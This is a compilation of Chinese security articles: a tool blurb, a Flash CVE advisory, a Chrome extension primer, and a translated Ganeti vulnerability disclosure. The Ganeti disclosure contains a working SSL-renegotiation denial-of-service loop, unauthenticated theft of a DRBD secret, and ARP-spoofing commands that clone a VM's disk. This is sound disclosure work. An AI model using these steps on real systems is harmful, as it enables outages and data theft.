* 使用场景丰富：
* 可用于对四层负载均衡等四层网关进行性能压力测试、长稳测试
* 可用于对云上虚拟机的网络性能进行测试
* 可用于对网卡性能、CPU的网络报文处理能力进行测试
* 压测场景下，可作为高性能的HTTP Server或HTTP Client单独使用
## 星际奇兵
另外，404星链计划开源工具视频演示栏目【星际奇兵】持续更新中，跟我们一起快速上手这些优秀的安全工具吧！
**视频链接：<https://www.bilibili.com/video/BV1zv4y1s7xv/>**
**第6期演示项目：Viper**
**项目作者：FunnyWolf
项目地址：<https://github.com/FunnyWolf/Viper>
404星链计划地址：<https://github.com/knownsec/404StarLink>**
关注我们B站（知道创宇404实验室），第一时间获取演示视频~
想要学习和交流开源安全工具的朋友可以加入404星链计划社群，请扫码识别运营菜菜子微信二维码，添加时备注“星链计划”。
* * * | 社区文章 |
# Adobe Flash Player远程代码执行漏洞（CVE-2018-4878）预警
##### 译文声明
本文是翻译文章，文章来源：cert.360.cn/warning/
原文地址：<https://cert.360.cn/warning/detail?id=28a76e80274f9c1de7e76c24a5f7eba2>
译文仅供参考，具体内容表达以及含义原文为准。
> 报告编号：B6-2018-020201
>
> 报告来源：360网络安全响应中心
>
> 报告作者： MerJerson，SuperXX
>
> 更新日期：2018年02月02日
## 漏洞背景
近日，韩国计算机应急响应中心和Adobe官方针对Adobe Flash Player系列产品发布安全公告，Adobe Flash
Player产品（包括最新款）存在远程代码命令执行漏洞，漏洞编号 CVE-2018-4878 ，Adobe计划在2月5号推送修复补丁。
有关CVE-2018-4878的Flash漏洞已经被发现在野利用，攻击者通过分发嵌入了恶意Flash的email来进行攻击，漏洞可以通过网页，office文档触发。韩国安全员Simon
Choi声称自2017年11月中旬就有部分韩国人遭受到该漏洞攻击。
## 漏洞影响面
漏洞ID: CVE-2018-4878
漏洞类型：UAF
威胁类型：远程代码执行
威胁等级：高
受影响版本：Adobe Flash Player <= 28.0.0.137
受影响产品：Adobe Flash Player 桌面应用
Adobe Flash Player for Google Chrome
Adobe Flash Player for Microsoft Edge and Internet Explorer 11
受影响平台：Windows, Macintosh, Linux, Chrome OS
攻击者可以将恶意Flash文件嵌入Office文档，网页，或者桌面应用，当用户打开时便会收到攻击。Adobe已经确认了该漏洞的存在，将在2月5日的补丁中修复该漏洞。
## 安全建议
目前该漏洞处于0day状态，漏洞修补期间建议用户禁用或者卸载Adobe Flash Player。对Office文档，采用受保护的视图的方式打开。
漏洞补丁推送后，请及时安装相关补丁。
## 时间线
2018年1月31日 KR-CERT发布安全警报
2018年2月1日 Adober确认漏洞，发布安全公告，
2018年2月2日 360CERT发布漏洞预警
## 参考链接
<https://helpx.adobe.com/security/products/flash-player/apsa18-01.html>
<https://www.bleepingcomputer.com/news/security/new-adobe-flash-zero-day-spotted-in-the-wild/> | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2019年11月21日
系列文章：[《从 0 开始入门 Chrome Ext 安全（二） -- 安全的 Chrome
Ext》](https://paper.seebug.org/1092/ "《从 0 开始入门 Chrome Ext 安全（二） -- 安全的 Chrome
Ext》")
English version: <https://paper.seebug.org/1094/>**
在2019年初，微软正式选择了Chromium作为默认浏览器，并放弃edge的发展。并在19年4月8日，Edge正式放出了基于Chromium开发的Edge
Dev浏览器，并提供了兼容Chrome
Ext的配套插件管理。再加上国内的大小国产浏览器大多都是基于Chromium开发的，Chrome的插件体系越来越影响着广大的人群。
在这种背景下，Chrome Ext的安全问题也应该受到应有的关注，《从0开始入门Chrome
Ext安全》就会从最基础的插件开发开始，逐步研究插件本身的恶意安全问题，恶意网页如何利用插件漏洞攻击浏览器等各种视角下的安全问题。
第一部分我们就主要来聊聊关于Chrome Ext的一些基础。
# 获取一个插件的代码
Chrome Ext的存在模式类似于在浏览器层新加了一层解释器，在我们访问网页的时候，插件会加载相应的html、js、css，并解释执行。
所以Chrome Ext的代码也就是html、js、css这类，那我们如何获取插件的代码呢？
当我们访问扩展程序的页面可以获得相应的插件id
然后我们可以在<https://chrome-extension-downloader.com/>中下载相应的crx包。
把crx改名成zip之后解压缩就可以了
# manifest.json
在插件的代码中，有一个重要的文件是manifest.json，在manifest.json中包含了整个插件的各种配置，在配置文件中，我们可以找到一个插件最重要的部分。
首先是比较重要的几个字段
* browser_action
* 这个字段主要负责扩展图标点击后的弹出内容，一般为popup.html
* content_scripts
* matches 代表scripts插入的时机，默认为document_idle，代表页面空闲时
* js 代表插入的scripts文件路径
* run_at 定义了哪些页面需要插入scripts
* permissions
* 这个字段定义了插件的权限，其中包括从浏览器tab、历史纪录、cookie、页面数据等多个维度的权限定义
* `content_security_policy`
* 这个字段定义了插件页面的CSP
* 但这个字段不影响content_scripts里的脚本
* background
* 这个字段定义插件的后台页面，这个页面在默认设置下是在后台持续运行的，只随浏览器的开启和关闭
* persistent 定义了后台页面对应的路径
* page 定义了后台的html页面
* scripts 当值为false时，background的页面不会在后台一直运行
在开始Chrome插件的研究之前，除了manifest.json的配置以外，我们还需要了解一下围绕chrome建立的插件结构。
# Chrome Ext的主要展现方式
## browserAction - 浏览器右上角
浏览器的右上角点击触发的就是mainfest.json中的`browser_action`
"browser_action": {
"default_icon": "img/header.jpg",
"default_title": "LoRexxar Tools",
"default_popup": "popup.html"
},
其中页面内容来自popup.html
## pageAction
pageAction和browserAction类似，只不过其中的区别是，pageAction是在满足一定的条件下才会触发的插件，在不触发的情况下会始终保持灰色。
## contextMenus 右键菜单
通过在chrome中调用chrome.contextMenus这个API，我们可以定义在浏览器中的右键菜单。
当然，要控制这个api首先你必须申请控制contextMenus的权限。
{"permissions": ["contextMenus"]}
一般来说，这个api会在background中被定义，因为background会一直在后台加载。
chrome.contextMenus.create({
title: "测试右键菜单",
onclick: function(){alert('您点击了右键菜单！');}
});
<https://developer.chrome.com/extensions/contextMenus>
## override - 覆盖页面
chrome提供了override用来覆盖chrome的一些特定页面。其中包括历史记录、新标签页、书签等...
"chrome_url_overrides":
{
"newtab": "newtab.html",
"history": "history.html",
"bookmarks": "bookmarks.html"
}
比如Toby for Chrome就是一个覆盖新标签页的插件
## devtools - 开发者工具
chrome允许插件重构开发者工具，并且相应的操作。
插件中关于devtools的生命周期和F12打开的窗口时一致的，当F12关闭时，插件也会自动结束。
而在devtools页面中，插件有权访问一组特殊的API，这组API只有devtools页面中可以访问。
chrome.devtools.panels：面板相关；
chrome.devtools.inspectedWindow：获取被审查窗口的有关信息；
chrome.devtools.network：获取有关网络请求的信息；
{
// 只能指向一个HTML文件，不能是JS文件
"devtools_page": "devtools.html"
}
<https://developer.chrome.com/extensions/devtools>
## option - 选项
option代表着插件的设置页面，当选中图标之后右键选项可以进入这个页面。
{
"options_ui":
{
"page": "options.html",
"chrome_style": true
},
}
## omnibox - 搜索建议
在chrome中，如果你在地址栏输入非url时，会将内容自动传到google搜索上。
omnibox就是提供了对于这个功能的魔改，我们可以通过设置关键字触发插件，然后就可以在插件的帮助下完成搜索了。
{
// 向地址栏注册一个关键字以提供搜索建议，只能设置一个关键字
"omnibox": { "keyword" : "go" },
}
这个功能通过`chrome.omnibox`这个api来定义。
## notifications - 提醒
notifications代表右下角弹出的提示框
chrome.notifications.create(null, {
type: 'basic',
iconUrl: 'img/header.jpg',
title: 'test',
message: 'i found you!'
});
# 权限体系和api
在了解了各类型的插件的形式之后，还有一个比较重要的就是Chrome插件相关的权限体系和api。
Chrome发展到这个时代，其相关的权限体系划分已经算是非常细致了，具体的细节可以翻阅文档。
<https://developer.chrome.com/extensions/declare_permissions>
抛开Chrome插件的多种表现形式不谈，插件的功能主要集中在js的代码里，而js的部分主要可以划分为5种injected script、content-script、popup js、background js和devtools js.
* injected script 是直接插入到页面中的js，和普通的js一致，不能访问任何扩展API.
* content-script 只能访问extension、runtime等几个有限的API，也可以访问dom.
* popup js 可以访问大部分API，除了devtools，支持跨域访问
* background js 可以访问大部分API，除了devtools，支持跨域访问
* devtools js 只能访问devtools、extension、runtime等部分API，可以访问dom
JS | 是否能访问DOM | 是否能访问JS | 是否可以跨域
---|---|---|---
injected script | 可以访问 | 可以访问 | 不可以
content script | 可以访问 | 不可以 | 不可以
popup js | 不可直接访问 | 不可以 | 可以
background js | 不可直接访问 | 不可以 | 可以
devtools js | 可以访问 | 可以访问 | 不可以
同样的，针对这多种js，我们也需要特殊的方式进行调试
* injected script： 直接F12就可以调试
* content-script：在F12中console选择相应的域
* popup js: 在插件右键的列表中有审查弹出内容
* background js: 需要在插件管理页面点击背景页然后调试
# 通信方式
在前面介绍过各类js之后，我们提到一个重要的问题就是，在大部分的js中，都没有给与访问js的权限，包括其中比较关键的content script.
那么插件怎么和浏览器前台以及相互之间进行通信呢？
- | injected-script | content-script | popup-js | background-js
---|---|---|---|---
injected-script | - | window.postMessage | - | -
content-script | window.postMessage | - | chrome.runtime.sendMessage
chrome.runtime.connect | chrome.runtime.sendMessage chrome.runtime.connect
popup-js | - | chrome.tabs.sendMessage chrome.tabs.connect | - |
chrome.extension. getBackgroundPage()
background-js | - | chrome.tabs.sendMessage chrome.tabs.connect |
chrome.extension.getViews | -
devtools-js | chrome.devtools.inspectedWindow.eval | - |
chrome.runtime.sendMessage | chrome.runtime.sendMessage
## popup 和 background
popup和background两个域互相直接可以调用js并且访问页面的dom。
popup可以直接用`chrome.extension.getBackgroundPage()`获取background页面的对象，而background可以直接用`chrome.extension.getViews({type:'popup'})`获取popup页面的对象。
// background.js
function test()
{
alert('test');
}
// popup.js
var bg = chrome.extension.getBackgroundPage();
bg.test(); // 访问bg的函数
alert(bg.document.body.innerHTML); // 访问bg的DOM
## popup\background 和 content js
popup\background 和 content
js之间沟通的方式主要依赖`chrome.tabs.sendMessage`和`chrome.runtime.onMessage.addListener`这种有关事件监听的交流方式。
发送方使用`chrome.tabs.sendMessage`,接收方使用`chrome.runtime.onMessage.addListener`监听事件。
chrome.runtime.sendMessage({greeting: '发送方！'}, function(response) {
console.log('接受：' + response);
});
接收方
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse)
{
console.log(request, sender, sendResponse);
sendResponse('回复：' + JSON.stringify(request));
});
## injected script 和 content-script
由于injected
script就相当于页面内执行的js，所以它没权限访问chrome对象，所以他们直接的沟通方式主要是利用`window.postMessage`或者通过DOM事件来实现。
injected-script中：
window.postMessage({"test": 'test！'}, '*');
content script中：
window.addEventListener("message", function(e)
{
console.log(e.data);
}, false);
## popup\background 动态注入js
popup\background没办法直接访问页面DOM，但是可以通过`chrome.tabs.executeScript`来执行脚本，从而实现对页面DOM的操作。
要注意这种操作要求必须有页面权限
"permissions": [
"tabs", "http://*/*", "https://*/*"
],
js
// 动态执行JS代码
chrome.tabs.executeScript(tabId, {code: 'document.body.style.backgroundColor="red"'});
// 动态执行JS文件
chrome.tabs.executeScript(tabId, {file: 'some-script.js'});
## chrome.storage
chrome 插件还有专门的储存位置，其中包括chrome.storage和chrome.storage.sync两种，其中的区别是：
* chrome.storage 针对插件全局，在插件各个位置保存的数据都会同步。
* chrome.storage.sync 根据账户自动同步，不同的电脑登陆同一个账户都会同步。
插件想访问这个api需要提前声明storage权限。
# 总结
这篇文章主要描述了关于Chrome ext插件相关的许多入门知识，在谈及Chrome ext的安全问题之前，我们可能需要先了解一些关于Chrome
ext开发的问题。
在下一篇文章中，我们将会围绕Chrome ext多个维度的安全问题进行探讨，在现代浏览器体系中，Chrome ext到底可能会带来什么样的安全问题。
# re
* <https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html>
* <https://developer.chrome.com/extensions/content_scripts>
* * * | 社区文章 |
# Ganeti漏洞允许攻击者远程接管虚拟机
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html>
译文仅供参考，具体内容表达以及含义原文为准。
**产品描述**
[Ganeti](https://code.google.com/p/ganeti/)是一款由谷歌公司开发的虚拟机集群管理工具。这是一款基于Xen虚拟机管理器和其他开源软件的虚拟服务器管理软件。
该解决方案使用了Xen或KVM作为虚拟化平台，将LVM工具用于磁盘管理，将磁盘的存储内容在物理主机之间进行拷贝时，可以选用DRDB方案。
除此之外，该平台为管理实例提供了下面的一些功能：
| 支持Xen虚拟化技术
| 最高支持1-25个物理节点（一个CPU在一个Cluster架构下，就称为一个node）
| 提供导入和导出架构用以备份或在计算机集群中进行迁移
但值得注意的是，Ganeti不提供数据在线迁移的支持。
**漏洞信息概览**
即使Ganeti看起来安全等级非常的高，但在默认配置下（部署了DRBD）安装的Ganeti中仍然存在不少安全问题。这是因为在默认配置下，Ganeti中老版本的代码库以及该软件的设计机制存在缺陷。
除了最新发布的版本之外，其他所有的Ganeti版本中都存在这些安全问题。
默认配置下，Ganeti API守护进程对每一个接口都是开放的，这样一来，攻击者就可以对这些守护进程进行攻击了。
当然了，攻击者同样可以利用这些守护进程来获取目标系统中的信息，例如网络拓扑，DRBD，以及其他的机密信息…
我们在文章结尾还提供了一个PoC（概念验证）视频，我们将会在演示视频中演示如何利用这一漏洞来自动获取敏感信息，在可能的情况下，这一漏洞还可以允许攻击者远程接管虚拟机。整个概念验证过程都是在我实验室中特定的条件下进行的。
**CVE-2015-7944（未经验证的远程拒绝服务漏洞）的详细信息**
在RAPI守护进程与SSL层进行协议处理的过程中，Ganeti极易受到SSL拒绝服务攻击：
user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.105.1.200:5080
CONNECTED(00000003)
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
--- Certificate chain
0 s:/CN=ganeti.example.com
i:/CN=ganeti.example.com
--- Server certificate
-----BEGIN CERTIFICATE----- [...]
-----END CERTIFICATE----- subject=/CN=ganeti.example.com
issuer=/CN=ganeti.example.com
--- No client certificate CA names sent
--- SSL handshake has read 1003 bytes and written 625 bytes
--- New, TLSv1/SSLv3, Cipher is AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1.2
Cipher : AES256-GCM-SHA384
Session-ID: D75BCF369143CD008D693B022B967149AF0BD420DE385C51227A1921CD29360D
Session-ID-ctx:
Master-Key: 7DDD57FD479AE6555D1D42CF2B15B8857C28430189EC5C1331C75C4253E4A9F0FC0672EE2F2438CD055328C5A46C4F5F
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - 10 ad 69 39 76 6c 2e 37-cf e7 c2 2c 5f f0 e0 20 ..i9vl.7...,_..
0010 - 5d 85 5a 79 82 20 6a 1d-f1 6e 51 f5 f2 f7 c6 cf ].Zy. j..nQ.....
0020 - c1 85 2d 42 5a 1c 53 b4-cb db de 65 04 2a 02 da ..-BZ.S....e.*..
0030 - 5c 7d 82 ef 56 4a a4 a1-88 bd 87 fd af 25 e3 2e }..VJ.......%..
0040 - 28 68 04 a4 01 22 88 72-30 0b 79 1c 75 61 88 d5 (h...".r0.y.ua..
0050 - c9 f3 e2 0b 02 50 bf c8-29 ac d9 36 f3 76 bd 8b .....P..)..6.v..
0060 - 05 e0 d3 a9 f3 8b 8b 11-ef 19 2f 94 92 30 94 58 ........../..0.X
0070 - aa 64 ba 3f a4 fc 15 4b-74 11 3b c3 c7 e7 d4 33 .d.?...Kt.;....3
0080 - dd 76 e9 e1 1b 3a 95 c4-50 28 4f 9e bc cc cb f3 .v...:..P(O.....
0090 - bf 4d 60 92 64 00 af 67-c0 e9 69 e3 98 54 21 dc .M`.d..g..i..T!.
Start Time: 1138121399
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
--- RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
[...]
在我的测试过程中，一个线程就占用了75%的CPU资源。
在主服务器中(10.105.1.200)的top:
19734 gnt-rapi 20 0 148980 35364 4696 R 76.8 3.7 0:04.12 ganeti-rapi
多线程将会占用掉CPU全部的资源，这样就可以对Ganeti进行拒绝服务（DoS）攻击了：
21280 gnt-rapi 20 0 148980 35364 4696 R 35.3 3.7 0:05.06 ganeti-rapi
20968 gnt-rapi 20 0 148980 35364 4696 R 33.4 3.7 0:09.92 ganeti-rapi
20969 gnt-rapi 20 0 148980 35364 4696 R 32.4 3.7 0:09.95 ganeti-rapi
21282 gnt-rapi 20 0 148980 35364 4696 R 32.4 3.7 0:04.53 ganeti-rapi
21281 gnt-rapi 20 0 148980 35364 4696 R 31.4 3.7 0:04.78 ganeti-rapi
除此之外，攻击者还可以使用THC网站所提供的工具来进行SSL拒绝服务攻击（openssl是效率最好的解决方案）：[https://www.thc.org/thc-ssl-dos/](https://www.thc.org/thc-ssl-dos/)
**CVE-2015-7945（未经验证的远程信息披露）的详细信息**
这个漏洞允许攻击者使用信息披露来获取数据，根据系统的配置，还可以远程入侵虚拟机系统。点击下列地址获取概念验证示例（GHETTO-BLASTER可以在Linux（包括Debian和Kali在内）和FreeBSD中运行）：
[https://pierrekim.github.io/advisories/GHETTO-BLASTER](https://pierrekim.github.io/advisories/GHETTO-BLASTER)
**1\. 针对RAPI守护进程来设计安全漏洞**
在Ganeti的主节点中，当我们使用/usr/sbin/gnt-network命令时，非root用户是无法得到信息的（debian-01为Ganeti主节点）：
user@debian-01:~$ /usr/sbin/gnt-network list
It seems you don't have permissions to connect to the master daemon.
Please retry as a different user.
user@debian-01:~$
在使用gnt-tools命令时，这种情况是很常见的，这似乎是一种安全机制。
似乎Ganeti在默认配置下会自动启用RAPI守护进程，并且该守护进程还会对每一个接口进行监听。
比如说，我们可以在没有经过身份验证的情况下，通过RAPI守护进程从系统中提取出网络配置信息。
为了实现这一处理过程，我编写了一个工具，即“GHETTO-BLASTER”：
user@kali:~$ ./GHETTO-BLASTER http://<ip_of_ganeti_rapi>
Example:
https://<ip>
2015 Pierre Kim <[email protected]>
@PierreKimSec https://pierrekim.github.io
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE <http://www.wtfpl.net/txt/copying/>
user@kali:~$ ./GHETTO-BLASTER http://10.105.1.200
[...]
[a lot of output]
[...]
user@kali:~$ ls -l 2-networks 2-networks-test-priv 2-networks-test-pub
-rw-r--r-- 1 user user 228 Jun 20 13:37 2-networks
-rw-r--r-- 1 user user 882 Jun 20 13:37 2-networks-test-priv
-rw-r--r-- 1 user user 881 Jun 20 13:37 2-networks-test-pub
user@kali:~$ cat 2-networks 2-networks-test-priv 2-networks-test-pub
$VAR1 = [
{
'name' => 'test-priv',
'uri' => '/2/networks/test-priv'
},
{
'uri' => '/2/networks/test-pub',
'name' => 'test-pub'
}
];
$VAR1 = {
'mtime' => '1313027652.67126',
'gateway' => undef,
'network6' => undef,
'inst_list' => [],
'mac_prefix' => undef,
'serial_no' => 1,
'free_count' => 254,
'name' => 'test-priv',
'map' => 'X..............................................................................................................................................................................................................................................................X',
'gateway6' => undef,
'external_reservations' => '192.168.1.0, 192.168.1.255',
'uuid' => '506ad97b-2276-43f4-ae27-e6bbb97f28ff',
'ctime' => '1133027652.67126',
'reserved_count' => 2,
'network' => '192.168.1.0/24',
'group_list' => [],
'tags' => []
};
$VAR1 = {
'mac_prefix' => undef,
'inst_list' => [],
'network6' => undef,
'mtime' => '1333027641.64375',
'gateway' => undef,
'map' => 'X..............................................................................................................................................................................................................................................................X',
'free_count' => 254,
'name' => 'test-pub',
'serial_no' => 1,
'reserved_count' => 2,
'network' => '192.168.0.0/24',
'ctime' => '1133027641.64375',
'gateway6' => undef,
'uuid' => '48b34199-2d23-46f0-b4aa-2539cb4a7780',
'external_reservations' => '192.168.0.0, 192.168.0.255',
'group_list' => [],
'tags' => []
};
user@kali:~$
现在，我们也许就可以映射出目标网络的拓扑结构，并且从中获取敏感的机密信息了。
另一个非常有意思的信息：
在访问RAPI守护进程的作业中，osparams_secret是可读的。
**2\. 使用这种信息披露功能来入侵虚拟机系统**
默认配置下，/var/lib/ganeti/config.data(640, gnt-masterd:gnt-confd)中包含有DRBD拷贝功能所需的密钥。
远程用户或者是本地非root用户（或者非gnt-masterd用户）是无法得到DRBD的配置文件的。
在我们对RAPI守护进程进行操作的过程中，这个密钥是可以在未经身份验证的情况下从作业中提取出来的。
在运行了GHETTO-BLASTER之后，你将会得到大量的文件：
user@kali:~$ ls
1-list-collectors 2-jobs-121 2-jobs-154 2-jobs-187 2-jobs-219 2-jobs-251 2-jobs-284 2-jobs-47 2-jobs-8
1-report-all 2-jobs-122 2-jobs-155 2-jobs-188 2-jobs-22 2-jobs-252 2-jobs-285 2-jobs-48 2-jobs-80
2-features 2-jobs-123 2-jobs-156 2-jobs-189 2-jobs-220 2-jobs-253 2-jobs-286 2-jobs-49 2-jobs-81
2-info 2-jobs-124 2-jobs-157 2-jobs-19 2-jobs-221 2-jobs-254 2-jobs-287 2-jobs-5 2-jobs-82
2-instances 2-jobs-125 2-jobs-158 2-jobs-190 2-jobs-222 2-jobs-255 2-jobs-288 2-jobs-50 2-jobs-83
2-instances-vm-01 2-jobs-126 2-jobs-159 2-jobs-191 2-jobs-223 2-jobs-256 2-jobs-289 2-jobs-51 2-jobs-84
2-instances-vm-01-jobs 2-jobs-127 2-jobs-16 2-jobs-192 2-jobs-224 2-jobs-257 2-jobs-29 2-jobs-52 2-jobs-85
2-instances-vm-02 2-jobs-128 2-jobs-160 2-jobs-193 2-jobs-225 2-jobs-258 2-jobs-290 2-jobs-53 2-jobs-86
2-instances-vm-02-jobs 2-jobs-129 2-jobs-161 2-jobs-194 2-jobs-226 2-jobs-259 2-jobs-291 2-jobs-54 2-jobs-87
[...]
2-jobs-109 2-jobs-141 2-jobs-174 2-jobs-206 2-jobs-239 2-jobs-271 2-jobs-34 2-jobs-67 2-networks
2-jobs-11 2-jobs-142 2-jobs-175 2-jobs-207 2-jobs-24 2-jobs-272 2-jobs-35 2-jobs-68 2-nodes
2-jobs-110 2-jobs-143 2-jobs-176 2-jobs-208 2-jobs-240 2-jobs-273 2-jobs-36 2-jobs-69 2-nodes-debian-01
2-jobs-111 2-jobs-144 2-jobs-177 2-jobs-209 2-jobs-241 2-jobs-274 2-jobs-37 2-jobs-7 2-nodes-debian-01-role
2-jobs-112 2-jobs-145 2-jobs-178 2-jobs-21 2-jobs-242 2-jobs-275 2-jobs-38 2-jobs-70 2-nodes-debian-02
2-jobs-113 2-jobs-146 2-jobs-179 2-jobs-210 2-jobs-243 2-jobs-276 2-jobs-39 2-jobs-71 2-nodes-debian-02-role
2-jobs-114 2-jobs-147 2-jobs-18 2-jobs-211 2-jobs-244 2-jobs-277 2-jobs-4 2-jobs-72 2-os
2-jobs-115 2-jobs-148 2-jobs-180 2-jobs-212 2-jobs-245 2-jobs-278 2-jobs-40 2-jobs-73 version
2-jobs-116 2-jobs-149 2-jobs-181 2-jobs-213 2-jobs-246 2-jobs-279 2-jobs-41 2-jobs-74
2-jobs-117 2-jobs-15 2-jobs-182 2-jobs-214 2-jobs-247 2-jobs-28 2-jobs-42 2-jobs-75
2-jobs-118 2-jobs-150 2-jobs-183 2-jobs-215 2-jobs-248 2-jobs-280 2-jobs-43 2-jobs-76
2-jobs-119 2-jobs-151 2-jobs-184 2-jobs-216 2-jobs-249 2-jobs-281 2-jobs-44 2-jobs-77
2-jobs-12 2-jobs-152 2-jobs-185 2-jobs-217 2-jobs-25 2-jobs-282 2-jobs-45 2-jobs-78
2-jobs-120 2-jobs-153 2-jobs-186 2-jobs-218 2-jobs-250 2-jobs-283 2-jobs-46 2-jobs-79
在这些文件中，有的文件含有DRBD的密钥信息：
user@kali:~$ grep secret *|tail -n 5
2-jobs-80: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'
2-jobs-82: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'
2-jobs-84: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
2-jobs-85: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
2-jobs-86: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
user@kali:~$
我们可以在Ganeti主节点中，以root用户的身份运行drbdsetup show命令来对获取到的密钥进行对比和确认：
root@debian-01:~# drbdsetup show
resource resource0 {
options {
}
net {
cram-hmac-alg "md5";
shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";
after-sb-0pri discard-zero-changes;
after-sb-1pri consensus;
}
_remote_host {
address ipv4 10.105.1.201:11000;
}
_this_host {
address ipv4 10.105.1.200:11000;
volume 0 {
device minor 0;
disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";
meta-disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";
disk {
size 8388608s; # bytes
resync-rate 61440k; # bytes/second
}
}
}
}
root@debian-01:~#
在对这些数据进行进一步的分析之后，我们发现，其中有一个作业文件包含有DRBD配置信息：
[...]
'drbd_info' => {
'port' => 11000,
'primary_minor' => 0,
'secondary_node' => 'debian-02',
'secondary_minor' => 0,
'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
'primary_node' => 'debian-01'
},
[...]
如果你想了解更多有关这一部分的信息，请点击下列地址进行查看：[http://docs.ganeti.org/ganeti/current/html/security.html](http://docs.ganeti.org/ganeti/current/html/security.html)
现在，我们已经在未经身份验证的情况下成功地恢复了DRBD的密钥，其使用的端口，以及相应节点了。除此之外，还有一些其他的文件，这些文件还有VLM
VG以及LVM VG名称！这些信息已经足够我们使用了，现在就让我们从一名攻击者的角度来利用这些信息，看看我们到底能对DRBD做些什么吧！
**3．DRBD悲剧了**
得到虚拟机的文件系统信息：
对同一局域网进行ARP欺骗：
通过ARP欺骗，我们可以将自己的IP地址伪装成10.105.1.201，并且还有一个有效的drbd.conf配置文件可供使用（多亏了RAPI守护进程所提供的配置参数）：
root@kali# cat etc-drbd.conf
include "drbd.d/global_common.conf";
include "drbd.d/*.res";
resource resource0 {
volume 0 {
device minor 0;
disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";
meta-disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";
}
protocol C;
net {
cram-hmac-alg "md5";
shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";
after-sb-0pri discard-zero-changes;
after-sb-1pri consensus;
}
on target {
address 10.105.1.200:11000;
}
on kali {
address 10.105.1.201:11000;
}
}
root@kali# vgremove xenvg-vg 2>/dev/null
root@kali# dd if=/dev/zero of=/dev/sdb bs=1024 count=1024
root@kali# pvcreate /dev/sdb
root@kali# vgcreate xenvg-vg /dev/sdb
root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data --size 4G xenvg-vg
root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta --size 128M xenvg-vg
root@kali# cp etc-drbd.conf /etc/drbd.conf
root@kali# drbdadm create-md resource0
root@kali# drbdadm up resource0
<ARP poisoning> || root@kali# ifconfig eth0 10.105.1.201 netmask 255.255.255.0
root@kali# drbdadm attach resource0
root@kali# drbdadm connect resource0
root@kali# cat /proc/drbd
version: 8.4.3 (api:1/proto:86-101)
srcversion: 1A9F77B1CA5FF92235C2213
0: cs:SyncTarget ro:Secondary/Primary ds:Inconsistent/UpToDate C r----- ns:0 nr:916568 dw:916472 dr:0 al:0 bm:55 lo:2 pe:0 ua:2 ap:0 ep:1 wo:f oos:3277832
[===>................] sync'ed: 22.0% (3277832/4194304)K
finish: 0:08:33 speed: 6,368 (5,912) want: 4,520 K/sec
root@kali# echo "wow synchronisation in progress !"
wow synchronisation in progress !
root@kali#
经过十分钟的同步处理之后，攻击者就可以使用DRBD拷贝功能得到目标虚拟机文件系统中的所有文件拷贝了。
当然了，攻击者也可以向文件系统中写入信息（例如添加SSH密钥）。通过添加ssh密钥，并运行s/PermitRootLogin
No/PermitRootLogin Yes/命令，就可以对虚拟机进行root，这一部分将作为练习留给读者自行摸索。
实现中间人攻击的其它方法也将作为练习，留给读者自行学习和摸索。
**安全研究专家提出的解决方案**
首先，我认为为了提高Ganeti的安全性，以下这些步骤是必须要完成的：
1/强制RAPI守护进程监听127.0.0.1，而不是监听0.0.0.0。
我们可以在/etc/default/ganeti目录中向配置文件添加下列代码来实现：
RAPI_ARGS="-b 127.0.0.1"
2/为RAPI守护进程添加身份验证功能（不仅对文件系统进行写操作时需要进行身份验证，对系统进行读操作时同样需要进行身份验证）。
3/对进程作业的输出数据进行过滤，以防止其泄漏密钥等敏感数据。
请注意，用户需要立即采取的措施就是更换DRBD当前所使用的密钥，并且确认当前没有人正在访问DRBD数据块。
4/禁用SSL协商，并更新系统的初始密码。
我个人认为：由于部署一个能够正常工作的Ganeti平台是非常复杂的，攻击者如果在此之前没有对Ganeti平台进行深入的研究和学习，那么他肯定会放弃对你的平台进行攻击
🙂
**供应商对此事的回应**
将Ganeti升级到最新版本。
如果用户需要了解具体的缓解方案，请访问下列地址：
[https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg](https://groups.google.com/forum/%23!topic/ganeti/9bLyzwmmvdg)
**漏洞发现者**
这些漏洞是由Pierre Kim（[@PierreKimSec](https://twitter.com/PierreKimSec)）发现的。
**致谢**
非常感谢我的朋友Alexandre Torres，Jordan， Jerome以及Stephen给我提供的帮助。
